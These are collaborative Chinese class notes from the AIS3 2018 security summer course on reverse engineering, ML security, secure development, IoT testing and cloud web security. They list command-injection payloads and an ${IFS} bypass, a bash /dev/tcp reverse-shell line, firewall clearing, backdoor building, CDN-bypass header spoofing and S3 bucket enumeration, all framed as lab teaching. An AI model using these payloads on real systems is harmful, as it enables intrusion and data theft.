SoLY
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # AIS3 2018 中區共筆 官方網站 : https://ais3.org/ 共同聊天室 : https://tlk.io/ais3-2018 中區聊天室 : https://tlk.io/ais3-taichung 北區共筆 : https://bit.ly/2uZ1zVg 南區共筆 : https://bit.ly/2mPQkdj [TOC] ### 7/30 (一) 14:00 - 17:00 - 講師 : 林昆立 TDOHacker - 逆向工程實務 - https://game.ntu.st/ - VirtualBox 3Dx - http://blog.xuite.net/yh96301/blog/300232354-VirtualBox+4.3%E5%AE%89%E8%A3%9DWindows+7%E6%94%AF%E6%8F%B4DirectX+3D - ![設定](https://i.imgur.com/CjHKEdY.png) - 適用於 VS 2017 的 x64 native Tools 命令提示字元: ``` cl file.c ``` - IDA shift + F12 進入到 function 列表 n 重新命名 - dbg Ctrl + G 跳到某記憶體位址 F2 下斷點 - 避免 aslr print("main function at %p\n", &main); - [JG V.S. JA](http://unixwiz.net/techtips/x86-jumps.html) - JG: jump if greater (signed) - JA: jump if above (unsigned) :::info * Random stack * Random heap * Radnom libraries ::: - EFLAGS - 判斷是否 jump ### 7/31 (二) 09:30 - 12:30 - 講師 : 陳仲寬 交通大學 BambooFox - AI Security / Machine learning for security #### 使用 docker Docker 安裝 `curl -sSL https://get.docker.com/ | sudo sh` Docker image load ``` sudo docker load < mlsec_ais3.tar sudo docker run -p 8888:8888 -it mlsec:ais3 bash ``` or 從 dockerhub pull 下來 ``` sudo docker pull bletchley/mlsec:ais3 sudo docker run -p 8888:8888 -it bletchley/mlsec:ais3 bash ``` 進到 docker 之後輸入 `jupyter notebook --allow-root` 帶有 token 的網址丟進瀏覽器,網址的部分要修改一下 將 `http://(<container_id> or 127.0.0.1):8888` => `http://127.0.0.1:8888` #### 基本介紹 - Cross-validation - 資料不足時使用 - 輪流作為 test 、 train 的資料,如此便可讓所有的資料都被 test 過 - False positive/false negative - 為相互對應的值 - 根據應用選擇何者為重 - eg. 一般使用者:false positive 容忍性較低 - eg. 銀行等高安全性單位:false negative 容忍性較低 - classification - 透過圖形檢視分類效果 - 對角線上為準確的 - 兩邊的為不準的值 - ROC - 最完美的狀況:一開始 true positives 就貼近左上角 100% 處 - AUC:曲線以下的面積 #### Lab 0-1 Payment Fraud 在 `mlsec/frauddetect/logistic-regression-fraud-detection.ipynb` - One-Hot Encoding: - 特徵展開處理類別型資料(Eg: paymentMethod) - 透過 panda 的 dummies 將類別型資料轉為 one-hot - `panda.get_dummies(<your data>, columns = [<culomn name>])` - TrainSet & TestSet: - `train_test_split(features data frame, label data frame, test_size=<test_size>, random_state=17)` - Drop: - 將 data 的 label 欄位拿掉,避免直接看到答案 - LogisticRegression(邏輯回歸) - 透過邏輯回歸來去訓練一模型, 用以評估正確/錯誤交易的機率。 - 提高準確率的方法:改變 random_state 參數 > 或者是改 test_size 假裝自己很棒ㄛXDDD ``` df = pd.get_dummies(df, columns = ['paymentMethod']) df.sample(3) X_train, X_test, y_train, y_test = train_test_split( df.drop('label', axis=1), df['label'], test_size=0.33, random_state=17) clf = LogisticRegression().fit(X_train, y_train) y_pred = clf.predict(X_test) ``` #### Lab 0-2 Parima-forecasting 在 `mlsec/cpu_anomaly/arima-forecasting.ipynb` - 一路走下去, 觀察結果即可 #### Anomaly Detection - 偵測異常點 - Anomaly -> 長的特別不一樣 - Eg. 公司電腦開關機時間具有趨勢 - 偏移資料點的品質 -> Good or not ? - 一直是一個不容易解決的問題 - Eg. 新的網站存取行為 or 釣魚網站的存取 - ARIMA - 偵測資料循環, 整體趨勢 #### Problems in ML - Overfitting(過擬合) - model學習的效果太好(類似model把training data背起來了),導致學出來的成果離現實有段差距。 - training 時訓練太多資料,model 非常逼近 training data,用 traingin data 來測會非常準,但用 testing data 來測就會失準(很多) - 過分學習 - 解決方法:不改變訓練方法的狀態下:減少 training data 數量 - 解決方法:從資料前處理下手或是進行特徵工程,讓model學到該學的 - 資料前處理:drop掉離峰值(特例)、做one hot endcoding - Underfitting(乏擬合) - train出來的model, 並沒有辦法適應資料, 有可能是訓練的特徵, 資料不足. - 如果是類神經網路的話,可以回頭檢查model有沒有錯、更改model的架構 - Solution: - 特徵工程分析出更多特徵來做訓練 - 找到更多的資料 - 調整選擇的演算法 #### 符號理論學派 ##### inverse deduction - Deduction - Induction ##### Association rules & frequent item: - Apriori principle - 剪枝概念 - Found to be Infrequent - ##### Decision Tree(決策樹) - Divide & Conquer - 挑出最好的split, 切到最後一層都被確實Divide - http://www.r2d3.us/visual-intro-to-machine-learning-part-1/ ^^ 這動畫有夠帥... ##### Entropy(熵度) * low entropy:判斷資料分類好的程度 * Information gain:reduction entropy #### Lab 1-2 Malware Classification 在 `mlsec/malware/malware-classification.ipynb` - Decision Tree or other algorithm - Feature select - 選擇高相關度(Eg. File Alignment) - 從資料分佈來選擇差異高的並擷取特徵 - Remove noise - 沒有相關的特徵, 請直接去掉, 別忘了正確答案也要拿掉 - ExtraTreesClassifier - 建樹(森林) - 有選擇特徵的功能 - 選擇出來的feature還是要過人工審過一次, 以免有useless的feature - Others - RandomForest - `from sklearn.ensemble import RandomForestClassifier` - [RandomForestClassifier](http://scikit-learn.org/stable/modules/generated/sklearn.ensemble.RandomForestClassifier.html) <-- API Doc - 上面太長不想調校就看這個 -> `RandomForestClassifier(n_estimators=50)` - GradientBoosting - `from sklearn.ensemble import GradientBoostingClassifier` - [GradientBoosting](http://scikit-learn.org/stable/modules/generated/sklearn.ensemble.GradientBoostingClassifier.html) <-- API Doc - `GradientBoosting(n_estimators=50)` - AdaBoost - 同上二, 自行Google - `AdaBoostClassifier(n_estimators=50)` - GNB - 同上.. 拜託自己來了... #### Lab 2-1 Linear Regression 讓error越低越好(error:點與線的距離) #### KNN ##### supervised learning(監督式學習) 看最接近的鄰居,判斷同為該類 #### K-MEANS ##### unsupervised learning 一開始隨機找中點, 接著每次Iterate找上代的中點繼續運算。 切割線沒有變動的時候, 即代表分群結束 #### SVM 具有緩衝空間的回歸法:線與旁邊的點有越大的緩衝空間越好 #### Bayes Theorem(貝氏) 用經驗(事前機率vs事後機率)來做切割 P(H|D) = (P(D|H) / P(D) ) * P(H) 找出 malware signature #### Lab 6-1 XSS Detection - WAF: adversarial learn(攻擊學習的系統) - 透過model的訓練結果, 來去針對XSS注入安全的dummies來降低預測為惡意注入的機率。 - 如果有Feedback把prediect結果送回train model, 就有可能透過這種方式汙染model的正確性。 > *Email : ckchen@cs.nctu.edu.tw* ### 7/31 (二) 14:00 - 17:00 - 講師 : 劉建宗 安華聯網 - 軟體安全開發實務 - jasperliu@onwardsecurity.com #### SPOF(單點失效) - Eg. Dyn Fail [Dyn遭大規模DDoS攻擊](https://www.ithome.com.tw/news/109225) - [Shodan](https://www.shodan.io/) - unit test 是由開發人員去寫 - 要常常看有問題的程式碼 #### Command Injection - 使用者透過各種管道注入執行系統指令(Eg. PHP Injection, SQL Injection ..etc) #### Unit Test - CppUnitLite - 集中src/*.cpp & CppUnitLite/*.h 到一個資料夾 - DevCpp -> 開啟專案 -> Static Library -> 專案資料夾右鍵加入檔案 -> 編譯(F11)為.a檔 - V1 ~ V4 需要進入專案設置設定Linker路徑到.a檔案 - 並且將剛才的放置所有cpp以及h之資料夾複製於專案資料夾, 最後`#include "CppUnitLite/TestHarness.h"` - 這超麻煩= =... - Test該怎麼寫 請參考CppUnitLite/test資料夾內的檔案 - main懶人包 複製下面的main去取代待測試專案的int main, 請記得原本的main用註解的, 別大手一揮就砍掉.. ``` int main() { TestResult tr; TestRegistry::runAllTests(tr); return 0; // 這段我打到會背... } ``` - TEST懶人包 ``` TEST(Math, creation) { // 這個Math, creation的參數我不知道是什麼... // 各種TEST... } Eg. TEST(Math,creation){ string test = playMath("555+5*7"); LONGS_EQUAL(590,atoi(test.c_str())); } ``` > 那是 macro,兩個參數和 macro 展開時為函式的命名有關係 - 辛苦各位搬運工了... - V2 password:Fqv$M;K[8&@-2Hm~ - 開檔案記得去專案設定把Linker指定到對的地方 or 刪掉才可以正常動作喔.... - V3 password:ZtA6t735ZH:D7S?r - V4 password:eDpYJbD},"*74?"W #### HeartBeat(心跳訊號) 透過C/S之間定期回傳約定訊息來確認彼此狀態。 #### Threat modeling - 設計階段檢測出可能的問題(Eg.Interface)並且嘗試解決 - threat sources/agents human or non-human - 4 step process - Application architecture modeling - Threat Identification - Risk analysis - Documentation of findings #### Attack Surface Evaluation - Targets adn Enablers - 從processes and data去評估,以此為依據.. - Channels and Protocols - ...來做外部的傳輸介面 - Eg. 開port / USB等 - Message-passing channels & shared-memory channels - Access Rights #### Example e.g. 資料備份有距離限制 連出來外面的傳輸要記錄下來,提交給資安人員做測試 ![](https://i.imgur.com/RKy0ILH.jpg) #### Threat Identification - Identify major security threats to the system's assets - Data flows - Trust boundaries(保護範圍) - 看是否包含DMZ - entry and exit points(資料進出的地方) - privileged functionality - Methodologies - NSA IAM, OCTAVE risk modeling, Microsoft STRIDE - STRIDE - Spoofing - Tampering - Repudiation - Information Disclosure - DEnial of Service - Elevation of Privilege - OWASP Top 10 and CWE Top 25 #### ABUSE CASE 系統有了,但有沒有可能被濫用? 透過情境的模擬來去了解到可能的侵入點, 並且逐一釐清是否可能讓外部威脅攻擊 #### Attack Tree 假設自己是駭客,規劃入侵路徑 Attacker's objective in the root node(目標):看看攻擊要花多少成本(Cost) Attack vector in the root node:以攻擊手法作為目標來去展開可能的節點,協助評估系統可能會有問題的方法。 #### Risk analysis 由兩面相來看:發生的機率、造成的威脅 [DREAD 安全風險評鑑模型](https://ixyzero.com/blog/archives/745.html)=風險Risk = (可重制性+可刺探性+可發現性)x(可能傷害+影響人數) - Damage potential - Reproductibility - Exploitability - Affected users - Discoverability - ![](https://i.imgur.com/5jzf5Yx.png) ##### Threat List - NSA IAM methodology - OCTAVE risk modeling - Microsoft STRIDE - OWASP Top 10 - CWE Top 25 ##### Handling Risk - Ignore the risk - Avoid the risk - Mitigate the risk(減緩) - Accept the risk - Transfer the risk(風險轉移 例:買保險) ##### Document 作為後續分析的依據,分為靜態、動態兩種 ##### Code Analysis - Static https://www.grammatech.com/products/source-code-analysis ![](https://i.imgur.com/uUd3Wlw.png) * compiler就算是靜態分析 * 動態分析:放進記憶體run起來,看看有沒有可疑行為 * ##### Code Analysis - Dynamic https://www.slideshare.net/securityxploded/automating-malware-analysis ###### Sandbox Architecture - 透過VM去分析可能的活動有哪些 - Eg. Virus total 自動化安全檢測練習 - 安裝Cppcheck - 可能會誤報 - 檢測案原始碼 - 解決專案源碼發現的問題 ![](http://skillprogramming.com/images/pictuers/ceo_analyzer_and_programmer.gif) 千錯萬錯 絕對不是老闆的錯 ### 8/01 (三) 09:30 - 12:30 - 講師 : 劉作仁 安華聯網 - 連網裝置安全檢測 #### IOT Overview - ![](https://i.imgur.com/iJlBjsa.png) - 國外很多駭客是下載 firmware 後逆向找漏洞,不一定要買產品 - 很多 IoT 裝置存在 command injection - eg. HITCON 韓國團隊分享在輸入掃地機器人連 WiFi 密碼的地方找到 command injection 的漏洞 #### Local Proxy - local Proxy 可以在本地端傳出封包之前 先攔截 修改封包再做傳輸 - Eg. Burp Suite - APP在用proxy時,會主動檢查憑證,要特別注意,匯入憑證 #### Command Injection Payload - ;command - &&command - 前指令以及後指令都會被執行 - $(command) - \`command\` - 將command的結果作為command再次執行 - 實務上最常成功(被忽略) - || command - Eg. ping 127.0.0.1 || ls <-- 前指令失敗才會執行後指令 - [自己的 DVWA 自己 pull](https://hub.docker.com/r/vulnerables/web-dvwa/) - `docker pull vulnerables/web-dvwa` - 成功command injection之後, 最重要的當然就是開shell(自己用XDDDDDDD) - `bash -i >& /dev/tcp/<ip>/<port> 0>&1` - how to get shell [pentestmonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) #### From Injection to shell 1. 發現弱點:注入點、簡易式指令 思路:哪些功能在開發時,會用到system function開發 測試時,哪些指令可以最容易看到效果(有沒有執行) - 有效 明顯 方便 Eg. reboot <--- 看起來真的有夠有效 ㄏ - Time Server - Firewall setting - Wifi, DHCP - 網路診斷功能:e.g.ping - 測試指令越簡單越好 - 一個單字尤佳 eg. reboot 2. 繞過限制:防火牆阻擋、字串過濾或檢查 清掉Firewall Rule - Clear Inbound Rules - Clear Outbound Rules - 系統 保留字 ${IFS}(代表空格鍵) - No bash, only ash - 寫入 /tmp - 因為某些folder可能不能寫入(Read Only) 3. 取得控制介面:Listen, Revese - 使用Telnet/SSH/NetCat(nc) - 製作新的 shell - 確認 CPU 架構 - 先確認才能做出對應的後門 - Metasploit快速上手 - 把payload變成可執行檔,可設定arch, OS, version等參數 - msfvenom #### 玩弄音箱的時間囉~ 1. Local Proxy record Payload and interact to check command injection. 2. clear firewall rule & prepare backdoor file 3. get shell 4. Play fun. #### Case Study - Network DVD Player - Two USB adpater, allow user to copy data from one USB to another. - Copy may called system funtion, which may cause command injection. - In this case, use file name to implement command injection. - Eg. `aaa;reboot` - Restriction: Can't cut the file name. - No whitespace - No slash / backslash - No double quotes - `ping${IFS}<ip>` 繞過空白的限制 - ${IFS} = Interfnal field separator <--- coool!!!!!! - 講師說錯了,IFS 是 bash 的東東,不是 Linux 的,所以用 zsh 就不行 - IFS 環境變數定義 ` \t\n\0` > 他可以自己改 > 我的bash可以執行,zsh不行,但都是' \t\n' > 簡單來說可以使用 `echo ${IFS} | xxd` 看 IFS 環境變數到底是啥 > 後面一段改密碼的有人聽到嗎? > 我只聽到把東西蓋過去 然後移除掉原本的密碼???.. > 求專業搬運QQQQ > 好像是寫一個新的帳密的檔案 然後用那個檔案直接蓋掉原本的 #### Case Study - MOXA 串列設備連網伺服器 - DSU+Wireshark - 透過簡單的封包分析來去觀察payload的格式 <-- 腦洞要開... 然後就可以掃opcode的response囉~ - [Shodan](https://www.shodan.io/) 找網路上的IOT #### How to find the vulnerability ##### Firmware - 找寶物: - Config: passwd, booting service - Binary: executable flie, decrypto program - Files:加密檔案 - 工具: - binwalk 解析檔案內容結構, -Me 參數還可以幫你解出來... - 記得裝個Squashfs的套件, 會更好用.. - 常見的有 Squashfs, LZMA - squashfs-tools - linux command dd - dd 指令參數:if(input file), of(out file), bs, count(how many bits), skip(skip bits) - extract firmware(easy way) - Firmware-Mod-Kit ``` install git g++ zlib1g-dev liblzma-dev python-magic git clone https://code.google.com/p/firmware-mod-kit ``` - binwalk 指令 ``` binwalk -Me <firmware-filename> ``` ###### Mi Wifi firmware - 通常會檢查 usr/bin 底下的程式 #### Flash Analysis ##### Flash memory - UART or 拆焊~~電視~~..把 flash 讀出來 #### Binary Analysis - QEMU 在Ubuntu - 將IOT的firmware模擬在ubuntu上 - 確認entry port(Eg. 8686) - 開port for IDA pro(Eg.6666) - `sudo chroot . ./qemu-mipsel -g <port> bin/udps` - IDA pro 在Windows - 遠端動態分析(remote debug) - python - 送封包到QEMU開的虛擬firmware ``` **Install QEMU user-mode** sudo apt-get install libglib2.0-dev libpixman-1-dev cd qemu; mkdir build; cd build ./configure --static --enable-debug --target-list=arm-linux-user,armeb-linux-user,mips-linux-user,mips64-linux-user,mips64el-linux-user,mipsel-linux-user make && sudo make install A **Run binary in QEMU** sudo apt-get install p7zip-full 7z x 3E7000.tar cp ~/qemu/build/mipsel-linux-user/qemu-mipsel chmod +x bin/udps sudo chroot . ./qemu-mipsel -g <port> bin/udps ``` ### 8/01 (三) 14:00 - 17:00 - 講師 : Asuka Nakajima NTT - Reverse Engineering Dojo: Enhancing Assembly Reading Skills #### Topic - Malware Analysis - Vulnerability Analysis - CTF #### enhance assembly reading skills - read x86 assembly code - ultimate goal human decompiler #### x86 Assembly Basics ``` Instruction(op) operand mov ecx, 0xA push 0x0 pop eax ``` - push and pop is stack operation. ##### Register: memory that built in x86 cpu - gerneral purpose register: eax,ecx,edx,esi,edi,esp,ebp - segment register: ss,cs,ds,es,fs,gs - EFLAGS - EIP - SSE,MMX,FPU,debug ##### Function Call (Calling convention (cdecl)) ``` push 0x3 push 0x2 push 0x1 call function add esp, 0xc ==================== gcc compiler example: mov DWORD PTR[esp+0x8],0x3 mov DWORD PTR[esp+0x4],0x2 mov DWORD PTR[esp],0x1 call function ``` - Arguments pushed in right-to-left order - Caller cleans the stack - gcc compiler: - use MOV to implement PUSH ##### Function Call ( call conventions ) - stdcall - Win32API - callee cleans the stack(msvc) - thiscall - this pointer passed in ecx as parameter - callee cleans the stack(msvc) - caller cleans the stack(gcc) - fastcall - first two argument to eax and edx(msvc) - callee cleans the stack(msvc) ##### Stack Frame ```c int main() { add(1, 2); return 0; } void add(int n1, int n2) { int sum; sum = n1 + n2; } ``` - Stack frame of caller function - push arguments onto stack(in right-to-left order) - push return address onto stack - Stack frame of callee function - push previous **stack frame base pointer**(aka. ebp) onto stack - overwrite ebp with new stack base pointer ##### Instructions(常用函數表) - mov 將資料從一個地方搬移至另一個地方 - mov 目的 來源 - push 將資料存到stack的頂端 - push 來源 - pop 取出stack上頂端的資料 - pop 目的 - call 調用函數 - call 函數 - cmp 比較傳入的兩筆資料,並將比較後的結果存入 EFLAGS register中 - compare 來源 來源 - jmp(je,jne,jl,jb,jg...) 依靠在 EFLAGS register 中的特定 bit 來決定是否進行跳躍 - jg 目的 - ret 返回至call funtion - pop to eip - leave - Same as `move esp, ebp` -> `pop ebp` - add - sub #### 練習 [搬家來這裡](https://hackmd.io/M6IkvjrjR0-dtFRoewnPaw) > 因為太當,所以暫時先放在這裡囉 > 瞬間從 40k+ 字掉到 17k ... > XDDDDD ##### Cpp binary - Name Mangling > C++ 能達成 overloading 的方法 ![](https://i.imgur.com/0MMeqsV.png) > 不過這命名規則也太不一致了囧 > 到底是想搞誰 > 到頭來搞到的是 debugger 吧 XD > 看一堆小老鼠 我眼睛都快要atat了... > 抬頭看看 就可以恢復了 > loooooooooooooool 太實用的建議 > 我終於知道為啥要請他講這個主題了 > 高瞻遠矚 > 直接把最提神和最乏味的東西擺一起 XDD > 而且說英文超可i > 我問號XDDD這對話OK嗎 > 母湯 > 快睡著了QAQ > AJAX? DJANGO? > fetch > 不過我是覺得這蠻好玩的 看各種底層黑魔法 > 看妹子 施展黑魔法 ? > 照他的簡報 我還可以多看半小時 > 日系簡報 > 拜託講完 > 好快就五點了 > 超紮實的課程 > 又超時了 > Decompile了快3個小時 ..... > 超時不錯啊 > 等等可以排隊留影嗎 > 你會講日文嗎? > MeowMeow也太可愛... > 我終於知道為什麼北區第一天就一直在群組喵喵叫了 > 開meow了各位 > wwww 一起去群裡喵喵叫吧 (? > 好 meowmoew > kitty !!!!!!!!!!!!!!! > OOP > 開始上起OOP了.. low level oop. > 教你如何反編譯OOP OP > 開始各種 this 和 vtable > 糟糕 進去沒聽過的新世界了XD > 當你看過有人用純 C 實做的 OOP 之後很容易就懂了 (? > meow > 不行了 腦漿蒸發... > 別想問能不能拍照 你們這些... > 我已經拍過了 ^.< > 可惡你適不適那個剛剛站起來的女生 > 低調rrrr > ^^^^ 請直接貼上來ㄅ ㄏ > 我覺得大家還要花點時間消化吧 XDD > can you take a picture with me? > 樓上會被抓走吧 > 是說五十幾行的聊天室怎樣ww > 老師計劃通.... > 不好嗎 不平衡一下小心等等大家都變成用組語溝通了 (? > 大家應該都累了 **nakajima.asuka@lab.ntt.co.jp** ### 8/02 (四) 09:30 - 12:30 - 講師 : 王凱慶 中華電信/中華資安國際 - 網站應用程式安全 - [講師ㄉ部落格](https://blog.keniver.com/) #### 傳統環境VS雲端環境 | 傳統環境 | 雲端環境 | | -------- | -------- | | 變化性低 | 高度變化 | |最低需求服務|數不清的服務| #### 傳統環境下的安全評估 - Nmap - IP Range explore - Seeking online host - port - server - package version - nmap -T4 -A -Pn -sT - 弱點掃描 Tool - 主機弱點 - OpenVAS - Nessus - 網頁弱點 #### 雲端環境下的安全評估 - 其他可考慮的議題 - 浮動IP Range - Service是否暴露在public環境中 - 系統弱點是如何被patch的 - 入侵系統後還能夠做些什麼? - 網路架構是怎麼一回事 - 應用架構特性差異 #### 雲端環境差異 | 工作項目 | 傳統環境 | 雲端環境 | | -------- | -------- | -------- | | 部署網站 | 上傳 code |上傳code | | 檔案存儲 |FTP/ WebDAV| S3 | 架設服務 | 自己裝 | Iaas/Paas/SaaS | | 網路系統 | IT人員維護 | 雲端管理 | - 工作項目沒有什麼太大的差別 - 網站弱點不管在傳統還是雲端都差異不大 - 除了共通性弱點(Host)之外其餘弱點控制在服務商手上 - e.g. Amazon RDS高度客製化,導致SQL式會回傳錯誤 - 最大的差異 - 網路系統 - 認證授權 #### 資料蒐集 資料蒐集做的好, 滲透測試沒煩惱 考驗你各位的通靈能力還有工具使用> - 任何行為前, 請確保有授權 - 請進行系統備份與還原測試 - 不要再正式環境下使用 auto function - 不小心撿到寶, 請記得回報相關廠商 - Eg. Hitcon ZeroDay - ~~也可以傳一份給講師~~ - 順手通報救台灣, 對, 就是在說你各位! ![](https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/32/02/metablogapi/8054.image_thumb_35C6E986.png) - 還有一件事 - 或許你聽過 DDoS,但你有有聽過 EDoS 嗎 - Economical denial of service - 經濟式服務拒絕攻擊 - 在測試環境榨乾講師錢包 - IP 列舉 - 網域列舉 - google hacking - 諸如Bing, Yahoo等也可測試 - 樹大招風 Google 會濾掉一些敏感資料 - crt.sh - 憑證透明化計劃 - 所有憑證申請都會有記錄 - 查詢方法:%ais3.org - passive dns - 紀錄曾經解析過的網域 - 分析網域過往行為 - ex. virustotal.com - 因為主機在國外,台灣資訊少,中華電信表示不幫忙記錄 - dnsdumpster.com - 分析網域間的關聯 - 找惡意中繼站 - 還有超炫圖片 - 是說還會順便掃 port (怕 - Censys, Shodan, Zoomeyes - 紀錄網路空間的主機資訊 - 連 ssh, ftp index 都會紀錄 - 連自己忘記主機都可以來查察看XDDD? - 爆破 - 好的字典帶你上天堂 - Sublist3r - 前面做的那些事情都幫你弄好 - 自備字典 蚌 - CSP(Content Security Policy) - 強化對 XSS 攻擊的抵抗能力 ```html <meta http-equiv="Content-Secruity-Policy" content"default-src 'self';img-src https://img.ais3.org;child-src 'none';">" ``` #### 網域劫持 - 使用第三方服務(SaaS), 使用 CNAME 綁定自家網域 > 請問一下,這樣網頁憑證顯示是 saas.com 還是 ais3.org? > ais3.org 喔 - 停用服務後 忘記移除DNS指向紀錄 但目標服務已經移除 - 攻擊者重新註冊該服務後獲取網域內容控制權 #### CDN - Eg. Cloudflare <-- MC Server最愛 - Cache - Access Control - WAF - Anti-DDoS - 設定 fail,你的主機跑到 Internet 上了 - Why bypass? - No CDN No WAF - DDoS can hit server - Easier debug time - 額外的注入機會 - 後面 server 對 proxy 額外帶的 header 的處理 ```php <?php if(!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP'] } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR'] } else { $ip = $_SERVER['REMOTE_ADDR']; } echo $ip; ?> ``` - [如何正確的取得使用者 IP? - 戴夫寇爾](https://devco.re/blog/2014/06/19/client-ip-detection/) - fail story: 用 ip 存取頻率 ban 人,然後 ban 到 CDN - 專業的流量清洗還是交給 ISP,就算 origin IP 暴露了也沒關係 - How to bypass? - Try to find old IP - Seek the real ip exposed in net - Seek the domain which not protected by CDN - 調整 HTTP Referer - 練習: CDN 繞過 - https://realme.0x61697333.cf - 搜尋 IP 記錄,找出不是 CDN 的 IP ``` ➜ cat /etc/hosts 52.194.38.175 realme.0x61697333.cf ➜ curl -H "CF-Connecting-IP: 127.0.0.1" http://realme.0x61697333.cf/ ➜ curl -H "CF-Connecting-IP: 127.0.0.1" -H "Host: realme.0x61697333.cf" 52.194.38.175 #這也通 <html> <body> <div>你來自 127.0.0.1</div> <div>只有來自 127.0.0.1 的人才能獲得 Flag</div> <pre>FLAG{You know me now}</pre></body> </html> ``` - http://a????????t.0x61697333.cf - DNS 列舉 #### Cloud Storage Service - 資料儲存服務 - 透過 API 進行操作 - 雲端環境中的角色 - 資料長時間儲存 - 資料交換 - 儲存備份資料 - ex. S3 - 常見問題 - 權限設置錯誤 - 門沒鎖好 or 根本沒鎖.. - 被意外存取 - 其他部分被打 - 網域劫持 - S3 - 尋找公開的儲存空間 - buckets.grayhatwarfare.com - 嘗試列舉 - 外洩事件 - github: nagwww/s3-leaks - 列舉S3 Bucket - Dictionary - 如何產生字典擋 - 手動 - 公司名稱 - 實際使用名稱 - 參考 DevOps - 自動 - Smeegescrape - CeWL - BucketName 具唯一性 - Format - [bucket name].location.amazonaws.com - location.amazonaws.com/[bucket name] - 範例 - - 地區列表 - https://docs.aws.amazon.com/general/latest/gr/rande.html#regions - 自訂網域 - 對應方法 `[域名].[地區].amazonaws.com` - Header是你的好朋友 - x-amz...... - 懶人法 - AWSBucketDump `python AWSBucketDump.py -l <dic> -g <keyword> -D -m <size> -t <thread count>` t 建議 >= 2 - 全自動列舉公開的 AWS S3 - 自動下載有趣的檔案~~全自動硬碟填充~~ - quirks - `-l` 字典檔 (Host list) - `-g` 關鍵字檔案 - `-t` 執行緒數 要帶 >= 2 不然會爛掉 ``` usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE] optional arguments: -h, --help show this help message and exit -D Download files. This requires significant diskspace -d If set to 1 or True, create directories for each host w/ results -t THREADS number of threads -l HOSTLIST -g GREPWORDS Provide a wordlist to grep for -m MAXSIZE Maximum file size to download. python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1 ``` - 練習兩下 - s3 bucket 有一個 ais3 相關的 bucket (1 個 flag) - awsbucketdump 列舉 - http://gallery.0x61697333.cf(2 個 flag) - 雖然叫你不要看網站內容, 但是該扒開來看的還是要看喔.... - 照年份列舉 ( 2017 -> 2016 -> 2015 ) - devops 流程 ( dev -> test -> production ) - 迷你字典檔 https://pastebin.com/75SauPid #### Load balancer - 負載平衡 - 動態增減服務主機 - 安全風險 - 佈署源汙染 - 基礎系統映像檔被汙染 - Eg. Git auto deploy - 只要可以拿到 git push 的帳號/權限 你就可以把 repo 變成你的形狀 - 探索服務汙染 - Consul - 對管理主機謊報將自己加入後端主機群 - Eg. 釣魚網站 然後謊報 接著等魚上鉤 願者上鉤 蚌 - 經濟攻擊 - 灌流量讓你拼命開主機,接著讓你賬單爆炸 - 設定拓展上限 & 收斂時間 不然就等著帳單爆炸 #### VPC - 後面的主機 - 來源疑慮(AMI市場) - Image 本身就有問題, deploy 就掰掰了 - AMI Market - 什麼都有 什麼都賣 什麼都不奇怪 - 買了就被加料 - AMI 封裝方式 - OS 主系統是(可能)加密過無法被存取的 - Storage #### 網路管控 - 使用 Security Group - 不開 Port 沒事, 開了 Group 裡的主機都一起裸奔 